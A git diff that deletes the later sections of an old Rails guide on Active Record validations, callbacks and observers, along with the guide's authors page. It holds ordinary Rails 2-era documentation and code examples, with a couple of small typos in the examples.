-+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_acceptance_of :terms_of_service, :accept => 'yes'
-end
-------------------------------------------------------------------
-
-=== The +validates_associated+ helper
-
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-
-[source, ruby]
-------------------------------------------------------------------
-class Library < ActiveRecord::Base
- has_many :books
- validates_associated :books
-end
-------------------------------------------------------------------
-
-This validation will work with all the association types.
-
-CAUTION: Don't use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
-
-The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
-
-=== The +validates_confirmation_of+ helper
-
-You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_confirmation_of :email
-end
-------------------------------------------------------------------
-
-In your view template you could use something like
-[source, html]
-------------------------------------------------------------------
-<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-------------------------------------------------------------------
-
-NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_confirmation_of :email
- validates_presence_of :email_confirmation
-end
-------------------------------------------------------------------
-
-The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
-
-=== The +validates_exclusion_of+ helper
-
-This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-
-[source, ruby]
-------------------------------------------------------------------
-class MovieFile < ActiveRecord::Base
- validates_exclusion_of :format, :in => %w(mov avi),
- :message => "Extension %s is not allowed"
-end
-------------------------------------------------------------------
-
-The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
-
-The default error message for +validates_exclusion_of+ is "_is not included in the list_".
-
-=== The +validates_format_of+ helper
-
-This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the +:with+ option.
-
-[source, ruby]
-------------------------------------------------------------------
-class Product < ActiveRecord::Base
- validates_format_of :description, :with => /^[a-zA-Z]+$/,
- :message => "Only letters allowed"
-end
-------------------------------------------------------------------
-
-The default error message for +validates_format_of+ is "_is invalid_".
-
-=== The +validates_inclusion_of+ helper
-
-This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-
-[source, ruby]
-------------------------------------------------------------------
-class Coffee < ActiveRecord::Base
- validates_inclusion_of :size, :in => %w(small medium large),
- :message => "%s is not a valid size"
-end
-------------------------------------------------------------------
-
-The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
-
-The default error message for +validates_inclusion_of+ is "_is not included in the list_".
-
-=== The +validates_length_of+ helper
-
-This helper validates the length of your attribute's value. It includes a variety of different options, so you can specify length constraints in different ways:
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_length_of :name, :minimum => 2
- validates_length_of :bio, :maximum => 500
- validates_length_of :password, :in => 6..20
- validates_length_of :registration_number, :is => 6
-end
-------------------------------------------------------------------
-
-The possible length constraint options are:
-
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
-* +:is+ - The attribute length must be equal to a given value.
-
-The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
-end
-------------------------------------------------------------------
-
-The +validates_size_of+ helper is an alias for +validates_length_of+.
-
-=== The +validates_numericality_of+ helper
-
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
-
-If you set +:integer_only+ to +true+, then it will use the +$$/\A[+\-]?\d+\Z/+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Kernel.Float+.
-
-[source, ruby]
-------------------------------------------------------------------
-class Player < ActiveRecord::Base
- validates_numericality_of :points
- validates_numericality_of :games_played, :only_integer => true
-end
-------------------------------------------------------------------
-
-Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
-
-* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than (value)_"
-* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "_must be greater than or equal to (value)_"
-* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to (value)_"
-* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must e less than (value)_"
-* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to (value)_"
-* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_"
-* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_"
-
-
-The default error message for +validates_numericality_of+ is "_is not a number_".
-
-=== The +validates_presence_of+ helper
-
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty).
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_presence_of :name, :login, :email
-end
-------------------------------------------------------------------
-
-NOTE: If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-
-[source, ruby]
-------------------------------------------------------------------
-class LineItem < ActiveRecord::Base
- belongs_to :order
- validates_presence_of :order_id
-end
-------------------------------------------------------------------
-
-NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
-
-The default error message for +validates_presence_of+ is "_can't be empty_".
-
-=== The +validates_uniqueness_of+ helper
-
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
-
-[source, ruby]
-------------------------------------------------------------------
-class Account < ActiveRecord::Base
- validates_uniqueness_of :email
-end
-------------------------------------------------------------------
-
-The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
-
-There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
-
-[source, ruby]
-------------------------------------------------------------------
-class Holiday < ActiveRecord::Base
- validates_uniqueness_of :name, :scope => :year,
- :message => "Should happen once per year"
-end
-------------------------------------------------------------------
-
-There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_uniqueness_of :name, :case_sensitive => false
-end
-------------------------------------------------------------------
-
-The default error message for +validates_uniqueness_of+ is "_has already been taken_".
-
-=== The +validates_each+ helper
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_each :name, :surname do |model, attr, value|
- model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
- end
-end
-------------------------------------------------------------------
-
-The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
-
-== Common Validation Options
-
-There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in the conditional validation topic.
-
-=== The +:allow_nil+ option
-
-The +:allow_nil+ option skips the validation when the value being validated is +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, the validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
-
-[source, ruby]
-------------------------------------------------------------------
-class Coffee < ActiveRecord::Base
- validates_inclusion_of :size, :in => %w(small medium large),
- :message => "%s is not a valid size", :allow_nil => true
-end
-------------------------------------------------------------------
-
-=== The +:allow_blank+ option
-
-The +:allow_blank: option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+.
-
-[source, ruby]
-------------------------------------------------------------------
-class Topic < ActiveRecord::Base
- validates_length_of :title, :is => 5, :allow_blank => true
-end
-
-Topic.create("title" => "").valid? # => true
-Topic.create("title" => nil).valid? # => true
-------------------------------------------------------------------
-
-=== The +:message+ option
-
-As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.
-
-=== The +:on+ option
-
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- # => it will be possible to update email with a duplicated value
- validates_uniqueness_of :email, :on => :create
-
- # => it will be possible to create the record with a 'non-numerical age'
- validates_numericality_of :age, :on => :update
-
- # => the default (validates on both create and update)
- validates_presence_of :name, :on => :save
-end
-------------------------------------------------------------------
-
-== Conditional validation
-
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-
-=== Using a symbol with the +:if+ and +:unless+ options
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-
-[source, ruby]
-------------------------------------------------------------------
-class Order < ActiveRecord::Base
- validates_presence_of :card_number, :if => :paid_with_card?
-
- def paid_with_card?
- payment_type == "card"
- end
-end
-------------------------------------------------------------------
-
-=== Using a string with the +:if+ and +:unless+ options
-
-You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_presence_of :surname, :if => "name.nil?"
-end
-------------------------------------------------------------------
-
-=== Using a Proc object with the +:if+ and :+unless+ options
-
-Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
-
-[source, ruby]
-------------------------------------------------------------------
-class Account < ActiveRecord::Base
- validates_confirmation_of :password,
- :unless => Proc.new { |a| a.password.blank? }
-end
-------------------------------------------------------------------
-
-== Writing your own validation methods
-
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their +errors+ collection when they are invalid. You must then register those methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.
-
-[source, ruby]
-------------------------------------------------------------------
-class Invoice < ActiveRecord::Base
- validate :expiration_date_cannot_be_in_the_past,
- :discount_cannot_be_more_than_total_value
-
- def expiration_date_cannot_be_in_the_past
- errors.add(:expiration_date, "can't be in the past") if
- !expiration_date.blank? and expiration_date < Date.today
- end
-
- def discount_cannot_be_greater_than_total_value
- errors.add(:discount, "can't be greater than total value") unless
- discount <= total_value
- end
-end
-------------------------------------------------------------------
-
-You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
-
-[source, ruby]
-------------------------------------------------------------------
-module ActiveRecord
- module Validations
- module ClassMethods
- def validates_email_format_of(value)
- validates_format_of value,
- :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/,
- :if => Proc.new { |u| !u.email.blank? },
- :message => "Invalid format for email address"
- end
- end
- end
-end
-------------------------------------------------------------------
-
-The recipe is simple: just create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this:
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_email_format_of :email_address
-end
-------------------------------------------------------------------
-
-== Manipulating the +errors+ collection
-
-You can do more than just call +valid?+ upon your objects based on the existance of the +errors+ collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object's state.
-
-* +add_to_base+ lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. +add_to_base+ receives a string with the message.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- def a_method_used_for_validation_purposes
- errors.add_to_base("This person is invalid because ...")
- end
-end
-------------------------------------------------------------------
-
-* +add+ lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. +add+ receives a symbol with the name of the attribute that you want to add the message to and the message itself.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- def a_method_used_for_validation_purposes
- errors.add(:name, "can't have the characters !@#$%*()_-+=")
- end
-end
-------------------------------------------------------------------
-
-* +invalid?+ is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_presence_of :name, :email
-end
-
-person = Person.new(:name => "John Doe")
-person.invalid?(:email) # => true
-------------------------------------------------------------------
-
-* +on+ is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute, +on+ will return +nil+. If there is just one errors message for this attribute, +on+ will return a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ will return an array of strings, each one with one error message.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_presence_of :name
- validates_length_of :name, :minimum => 3
-end
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors.on(:name) # => nil
-
-person = Person.new(:name => "JD")
-person.valid? # => false
-person.errors.on(:name)
-# => "is too short (minimum is 3 characters)"
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-------------------------------------------------------------------
-
-* +clear+ is used when you intentionally want to clear all the messages in the +errors+ collection. However, calling +errors.clear+ upon an invalid object won't make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run. If any of them fails, the +errors+ collection will get filled again.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_presence_of :name
- validates_length_of :name, :minimum => 3
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-p.save # => false
-p.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-------------------------------------------------------------------
-
-== Using the +errors+ collection in your view templates
-
-Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.
-
-[source, ruby]
-------------------------------------------------------------------
-class Product < ActiveRecord::Base
- validates_presence_of :description, :value
- validates_numericality_of :value, :allow_nil => true
-end
-------------------------------------------------------------------
-
-------------------------------------------------------------------
-<% form_for(@product) do |f| %>
- <%= f.error_messages %>
- <p>
- <%= f.label :description %><br />
- <%= f.text_field :description %>
- </p>
- <p>
- <%= f.label :value %><br />
- <%= f.text_field :value %>
- </p>
- <p>
- <%= f.submit "Create" %>
- </p>
-<% end %>
-------------------------------------------------------------------
-
-image::images/error_messages.png[Error messages]
-
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
-
-------------------------------------------------------------------
-<%= error_messages_for :product %>
-------------------------------------------------------------------
-
-The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
-
-------------------------------------------------------------------
-<%= f.error_messages :header_message => "Invalid product!",
- :message => "You'll need to fix the following fields:",
- :header_tag => :h3 %>
-------------------------------------------------------------------
-
-Which results in the following content
-
-image::images/customized_error_messages.png[Customized error messages]
-
-If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
-
-It's also possible to change the CSS classes used by the +error_messages+ helper. These classes are automatically defined at the *scaffold.css* file, generated by the scaffold script. If you're not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.
-
-* +.fieldWithErrors+ - Style for the form fields with errors.
-* +#errorExplanation+ - Style for the +div+ element with the error messages.
-* +#errorExplanation h2+ - Style for the header of the +div+ element.
-* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
-* +#errorExplanation ul li+ - Style for the list of error messages.
-
-=== Changing the way form fields with errors are displayed
-
-By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
-
-[source, ruby]
-------------------------------------------------------------------
-ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
- if instance.error_message.kind_of?(Array)
- %(#{html_tag}<span class='validation-error'>&nbsp;
- #{instance.error_message.join(',')}</span>)
- else
- %(#{html_tag}<span class='validation-error'>&nbsp;
- #{instance.error_message}</span>)
- end
-end
-------------------------------------------------------------------
-
-This will result in something like the following content:
-
-image::images/validation_error_messages.png[Validation error messages]
-
-The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters:
-
-* A string with the HTML tag
-* An object of the +ActionView::Helpers::InstanceTag+ class.
-
-== Callbacks
-
-Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.
-
-=== Callbacks registration
-
-In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.
-
-[source, ruby]
-------------------------------------------------------------------
-class User < ActiveRecord::Base
- validates_presence_of :login, :email
-
- before_validation :ensure_login_has_a_value
-
- protected
- def ensure_login_has_a_value
- if self.login.nil?
- self.login = email unless email.blank?
- end
- end
-end
-------------------------------------------------------------------
-
-The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.
-
-[source, ruby]
-------------------------------------------------------------------
-class User < ActiveRecord::Base
- validates_presence_of :login, :email
-
- before_create {|user| user.name = user.login.capitalize if user.name.blank?}
-end
-------------------------------------------------------------------
-
-CAUTION: Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
-
-== Conditional callbacks
-
-Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
-
-=== Using a symbol with the +:if+ and +:unless+ options
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check the if the callback should be executed.
-
-[source, ruby]
-------------------------------------------------------------------
-class Order < ActiveRecord::Base
- before_save :normalize_card_number, :if => :paid_with_card?
-end
-------------------------------------------------------------------
-
-=== Using a string with the +:if+ and +:unless+ options
-
-You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-[source, ruby]
-------------------------------------------------------------------
-class Order < ActiveRecord::Base
- before_save :normalize_card_number, :if => "paid_with_card?"
-end
-------------------------------------------------------------------
-
-=== Using a Proc object with the +:if+ and :+unless+ options
-
-Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.
-
-[source, ruby]
-------------------------------------------------------------------
-class Order < ActiveRecord::Base
- before_save :normalize_card_number,
- :if => Proc.new { |order| order.paid_with_card? }
-end
-------------------------------------------------------------------
-
-=== Multiple Conditions for Callbacks
-
-When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
-
-[source, ruby]
-------------------------------------------------------------------
-class Comment < ActiveRecord::Base
- after_create :send_email_to_author, :if => :author_wants_emails?,
- :unless => Proc.new { |comment| comment.post.ignore_comments? }
-end
-------------------------------------------------------------------
-
-== Available callbacks
-
-Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.
-
-=== Callbacks called both when creating or updating a record.
-
-* +before_validation+
-* +after_validation+
-* +before_save+
-* *INSERT OR UPDATE OPERATION*
-* +after_save+
-
-=== Callbacks called only when creating a new record.
-
-* +before_validation_on_create+
-* +after_validation_on_create+
-* +before_create+
-* *INSERT OPERATION*
-* +after_create+
-
-=== Callbacks called only when updating an existing record.
-
-* +before_validation_on_update+
-* +after_validation_on_update+
-* +before_update+
-* *UPDATE OPERATION*
-* +after_update+
-
-=== Callbacks called when removing a record from the database.
-
-* +before_destroy+
-* *DELETE OPERATION*
-* +after_destroy+
-
-The +before_destroy+ and +after_destroy+ callbacks will only be called if you delete the model using either the +destroy+ instance method or one of the +destroy+ or +destroy_all+ class methods of your Active Record class. If you use +delete+ or +delete_all+ no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.
-
-=== The +after_initialize+ and +after_find+ callbacks
-
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by direcly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
-
-The +after_find+ callback will be called whenever Active Record loads a record from the database. When used together with +after_initialize+ it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.
-
-The +after_initialize+ and +after_find+ callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
-
-== Halting Execution
-
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It's because the whole callback chain is wrapped in a transaction, so raising an exception or returning +false+ fires a database ROLLBACK.
-
-== Callback classes
-
-Sometimes the callback methods that you'll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-
-Here's an example where we create a class with a after_destroy callback for a PictureFile model.
-
-[source, ruby]
-------------------------------------------------------------------
-class PictureFileCallbacks
- def after_destroy(picture_file)
- File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
- end
-end
-------------------------------------------------------------------
-
-When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
-
-[source, ruby]
-------------------------------------------------------------------
-class PictureFile < ActiveRecord::Base
- after_destroy PictureFileCallbacks.new
-end
-------------------------------------------------------------------
-
-Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
-
-[source, ruby]
-------------------------------------------------------------------
-class PictureFileCallbacks
- def self.after_destroy(picture_file)
- File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
- end
-end
-------------------------------------------------------------------
-
-If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object.
-
-[source, ruby]
-------------------------------------------------------------------
-class PictureFile < ActiveRecord::Base
- after_destroy PictureFileCallbacks
-end
-------------------------------------------------------------------
-
-You can declare as many callbacks as you want inside your callback classes.
-
-== Observers
-
-Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn't make much sense to have a +User+ model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer.
-
-An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model's implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation.
-
-Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the 'Observer' part to find the name of the Active Record class to observe.
-
-Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that:
-
-[source, ruby]
-------------------------------------------------------------------
-class RegistrationObserver < ActiveRecord::Observer
- def after_create(model)
- # code to send registration confirmation emails...
- end
-end
-------------------------------------------------------------------
-
-Like in callback classes, the observer's methods receive the observed model as a parameter.
-
-Sometimes using the ModelName + Observer naming convention won't be the best choice, mainly when you want to use the same observer for more than one model class. It's possible to explicity specify the models that our observer should observe.
-
-[source, ruby]
-------------------------------------------------------------------
-class Auditor < ActiveRecord::Observer
- observe User, Registration, Invoice
-end
-------------------------------------------------------------------
-
-=== Registering observers
-
-If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's *config/environment.rb* file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.
-
-[source, ruby]
-------------------------------------------------------------------
-# Activate observers that should always be running
-config.active_record.observers = :registration_observer, :auditor
-------------------------------------------------------------------
-
-You can uncomment the line with +config.active_record.observers+ and change the symbols for the name of the observers that should be registered.
-
-It's also possible to register callbacks in any of the files living at *config/environments/*, if you want an observer to work only in a specific environment. There is not a +config.active_record.observers+ line at any of those files, but you can simply add it.
-
-=== Where to put the observers' source files
-
-By convention, you should always save your observers' source files inside *app/models*.
-
-== Changelog
-
-http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks[Lighthouse ticket]
-
-January 9, 2009: Initial version by http://guides.rails.info/authors.html#cmarques[Cássio Marques]
diff --git a/railties/doc/guides/source/authors.txt b/railties/doc/guides/source/authors.txt
deleted file mode 100644
index d4862fe4b9..0000000000
--- a/railties/doc/guides/source/authors.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-About the Authors
-=================
-
-.Frederick Cheung
-[[fcheung]]
-***********************************************************
-Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
-He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org].
-***********************************************************
-
-.Mike Gunderloy
-[[mgunderloy]]
-***********************************************************
-Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
-work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup].
-***********************************************************
-
-.Emilio Tagua
-[[miloops]]
-***********************************************************
-Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
-Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008.
-Can be found at gmail, twitter, freenode, everywhere as miloops.
-***********************************************************
-
-.Heiko Webers
-[[hawe]]
-***********************************************************
-Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development
-company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development,
-Heiko has rarely looked back.
-***********************************************************
-
-.Tore Darell
-[[toretore]]
-***********************************************************
-Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
-and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions].
-***********************************************************
-
-.Jeff Dean
-[[zilkey]]
-***********************************************************
-Jeff Dean is a software engineer with http://pivotallabs.com/[Pivotal Labs].
-***********************************************************
-
-.Cássio Marques
-[[cmarques]]
-***********************************************************
-Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at http://cassiomarques.wordpress.com, which is mainly written in portuguese, but will soon get a new section for posts with english translation.
-***********************************************************
-
-.Pratik Naik
-[[lifo]]
-***********************************************************
-Pratik Naik is an independent Ruby on Rails consultant and also a member of the http://rubyonrails.com/core[Rails core team]. He blogs semi-regularly at http://m.onkey.org[has_many :bugs, :through => :rails] and has an active http://twitter.com/lifo[twitter account] .
-***********************************************************
